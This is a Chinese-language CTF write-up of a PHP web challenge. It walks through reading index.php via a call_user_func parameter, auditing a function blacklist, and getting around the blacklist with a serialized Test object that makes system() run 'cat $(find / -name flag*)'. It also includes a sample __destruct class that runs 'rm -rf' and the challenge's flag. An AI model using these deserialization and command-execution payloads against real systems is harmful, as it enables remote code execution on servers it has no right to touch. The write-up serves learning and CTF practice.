打开题目页面如下,发现刷新后时间回显也随之刷新改变
用burp suite抓包,发送到重放器查看
看到有传参,看到返回结果"Y-m-d+h:i:s+a"
在 PHP 里,date()
函数的作用是格式化本地日期和时间,然后返回格式化后的字符串。这里传入的参数 "Y-m-d+h:i:s+a"
是日期时间的格式字符串,用来规定输出的日期时间样式
猜测func参数是一个接收函数,p参数是函数执行后的内容
为获取查看源码,调用 PHP 中的 file_get_contents
函数来读取 index.php
文件的内容。在 PHP 中,file_get_contents
函数用于将整个文件读入
file_get_contents()函数
是 PHP 中的一个内置函数,用于将整个文件读入一个字符串。
file_get_contents()
函数提供了一种简单而高效的方式来读取文件内容,它可以处理本地文件,也能通过支持的协议(如 HTTP、FTP 等)读取远程文件内容。
index.php文件
是一个在 Web 开发中非常常见的文件名
网站入口文件 :在大多数 Web 应用程序里,尤其是使用 PHP 开发的网站,index.php
常被作为默认的入口文件。当用户访问网站域名(如 example.com
)时,Web 服务器(如 Apache 或 Nginx)会按照配置去查找默认文档,index.php
是常见的默认文档选项之一。一旦找到,服务器就会执行该文件并将结果返回给客户端浏览器。
路由分发 :在一些基于 MVC(模型 - 视图 - 控制器)架构或其他框架的 PHP 项目中,index.php
可能承担着路由分发的重要任务。它会接收用户的请求,根据请求的 URL 信息将其分发给相应的控制器和动作进行处理。
在很多 PHP 框架中,index.php
承担着路由分发的核心任务。它会接收用户的请求,根据请求的 URL 信息将其分发给相应的控制器和动作进行处理。例如,在 Laravel 框架中,index.php
会引导请求到路由文件,然后根据定义的路由规则调用对应的控制器方法。而其他文件,如控制器文件、模型文件等,专注于具体的业务逻辑实现。
构造payload
func=file_get_contents&p=index.php
得到PHP源码
进行代码审计
php
<?php
// 定义一个包含禁用函数名的数组
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
// 定义一个名为 gettime 的函数,接收两个参数:$func(函数名)和 $p(传递给函数的参数)
function gettime($func, $p) {
// 调用 $func 函数,并将 $p 作为参数传递给它,将结果存储在 $result 中
$result = call_user_func($func, $p);
// 获取 $result 的数据类型
$a= gettype($result);
// 如果 $result 的数据类型是字符串
if ($a == "string") {
// 返回 $result
return $result;
} else {
// 否则返回空字符串
return "";
}
}
// 定义一个名为 Test 的类
class Test {
// 定义类的属性 $p,初始值为日期格式字符串 "Y-m-d h:i:s a"
var $p = "Y-m-d h:i:s a";
// 定义类的属性 $func,初始值为 "date"
var $func = "date";
// 定义析构函数,当对象被销毁时自动调用
function __destruct() {
// 如果 $this->func 不为空
if ($this->func != "") {
// 调用 gettime 函数,并输出结果
echo gettime($this->func, $this->p);
}
}
}
// 从 $_REQUEST 超全局数组中获取用户通过 GET 或 POST 方法传递的 func 参数值,并存储在 $func 变量中
$func = $_REQUEST["func"];
// 从 $_REQUEST 超全局数组中获取用户通过 GET 或 POST 方法传递的 p 参数值,并存储在 $p 变量中
$p = $_REQUEST["p"];
// 如果 $func 不为 null
if ($func != null) {
// 将 $func 的值转换为小写
$func = strtolower($func);
// 检查 $func 是否不在禁用函数数组 $disable_fun 中
if (!in_array($func,$disable_fun)) {
// 如果不在禁用数组中,调用 gettime 函数并输出结果
echo gettime($func, $p);
} else {
// 如果在禁用数组中,终止脚本并输出 "Hacker..."
die("Hacker...");
}
}
?>
代码审计
函数黑名单 :代码定义了一个 $disable_fun
数组,包含了一系列可能存在安全风险的函数,如可以执行系统命令的 exec
、shell_exec
等,以及可以泄露系统信息的 phpinfo
等。在调用用户传入的函数之前,会检查该函数是否在黑名单中,如果在则终止脚本,这在一定程度上可以防止恶意用户利用危险函数进行攻击。
call_user_func
漏洞 :使用 call_user_func
函数调用用户传入的函数名,虽然有黑名单机制,但仍然存在风险。可能会通过一些绕过技巧来执行恶意代码。例如,如果黑名单存在遗漏,或者通过大小写混合、函数别名等方式绕过检查,就可能执行危险函数。
输入验证不足 :代码只是简单地将用户传入的 func
参数转换为小写并检查是否在黑名单中,没有对 p
参数进行任何验证。可能会通过构造特殊的 p
参数值来利用被调用函数的漏洞。
类属性可利用性 :Test
类的 $func
和 $p
属性可以被序列化和反序列化。可能会构造恶意的序列化对象,通过反序列化操作来修改这些属性,从而绕过黑名单检查执行危险函数。
看到黑名单过滤了很多关键字,尝试通过反序列化,得到flag
反序列化
序列化:是指将对象的状态信息转换为可以存储或传输的形式(如字节序列、JSON 字符串、XML 文档等)的过程。例如,在网络通信中,为了在不同的计算机之间传输对象,需要先将对象序列化。
反序列化:与序列化相反,它是将序列化后的字节序列、JSON 字符串、XML 文档等数据恢复为原始对象的过程。通过反序列化,可以重新获取到原始对象的状态和数据。
网络通信:在客户端和服务器之间传输对象时,需要先将对象序列化后发送,服务器接收到数据后再进行反序列化,还原成原始对象进行处理。
数据持久化:将对象保存到文件或数据库中时,需要先将对象序列化,在需要使用对象时再进行反序列化。
分布式系统:不同节点之间需要交换对象时,通过序列化和反序列化来实现对象的传输。
Python
在 Python 中,可以使用 pickle
模块进行对象的序列化和反序列化。
python
import pickle
# 定义一个示例类
class Person:
def __init__(self, name, age):
self.name = name
self.age = age
# 创建一个 Person 对象
person = Person("Alice", 25)
# 序列化对象
serialized_data = pickle.dumps(person)
# 反序列化对象
deserialized_person = pickle.loads(serialized_data)
# 验证反序列化结果
print(deserialized_person.name)
print(deserialized_person.age)
上述代码中,pickle.dumps()
方法将 Person
对象序列化为字节序列,pickle.loads()
方法将字节序列反序列化为原始的 Person
对象。
在 PHP 中,反序列化是将通过 serialize()
函数序列化后的数据恢复为原始 PHP 变量(如对象、数组等)的过程,使用 unserialize()
函数来完成。下面从基本使用、应用场景、安全风险等方面详细介绍 PHP 反序列化。
数组的反序列化
php
<?php
// 定义一个数组
$originalArray = array('apple', 'banana', 'cherry');
// 序列化数组
$serializedArray = serialize($originalArray);
// 反序列化数组
$deserializedArray = unserialize($serializedArray);
// 输出反序列化后的数组
print_r($deserializedArray);
?>
在上述代码中,首先定义了一个数组 $originalArray
,然后使用 serialize()
函数将其序列化得到 $serializedArray
,最后使用 unserialize()
函数将序列化后的字符串反序列化为数组 $deserializedArray
,并通过 print_r()
输出结果。
对象的反序列化
php
<?php
// 定义一个类
class User {
public $name;
public $age;
public function __construct($name, $age) {
$this->name = $name;
$this->age = $age;
}
public function displayInfo() {
echo "Name: ". $this->name . ", Age: ". $this->age;
}
}
// 创建一个 User 对象
$user = new User('John', 30);
// 序列化对象
$serializedUser = serialize($user);
// 反序列化对象
$deserializedUser = unserialize($serializedUser);
// 调用对象的方法
$deserializedUser->displayInfo();
?>
此代码中,定义了一个 User
类,创建了该类的对象 $user
,将其序列化后再反序列化得到 $deserializedUser
,最后调用对象的 displayInfo()
方法输出信息。
数据存储:将复杂的数据结构(如对象、数组)存储到文件或数据库中时,先进行序列化,读取时再进行反序列化,方便数据的持久化和恢复。
缓存:在缓存系统中,可以将对象或数组序列化后存储,当需要使用时再反序列化,减少对象创建的开销。
分布式系统通信:在不同服务器之间传递对象或数组时,通过序列化和反序列化实现数据的传输和恢复。
PHP 反序列化存在安全风险,特别是当反序列化的数据来自不可信的来源时。可以构造恶意的序列化数据,利用 PHP 的魔术方法(如 __destruct()
、__wakeup()
等)执行任意代码。
php
<?php
class Evil {
public function __destruct() {
// 执行恶意操作,如删除文件
system('rm -rf /tmp/test');
}
}
$evilObject = new Evil();
$serializedEvil = serialize($evilObject);
// 模拟攻击者将恶意序列化数据传入
$input = $serializedEvil;
$deserialized = unserialize($input);
?>
在上述代码中,Evil
类的 __destruct()
方法会在对象销毁时执行恶意的系统命令。可以通过构造并传入恶意的序列化数据来触发该命令。
代码
php
<?php
class Test {
var $p = "ls";
var $func = "system";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
// 先定义变量,再创建对象
$testObject;
$testObject = new Test();
// 存储序列化结果到变量,再输出
$serializedResult = serialize($testObject);
echo $serializedResult;
?>
可以用这个在线工具运行PHP代码
php在线运行,在线工具,在线编译IDE_w3cschool
得到结果
构造payload
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:25:"cat $(find / -name flag*)";s:4:"func";s:6:"system";}
unserialize()函数
是 PHP 中的一个内置函数,主要用于将经过 serialize()
函数序列化后的数据恢复为原始的 PHP 变量(如对象、数组等)。
最终得到flag
flag{c54e1db9-b9ed-4dd2-a010-3bcdcfb5bc19}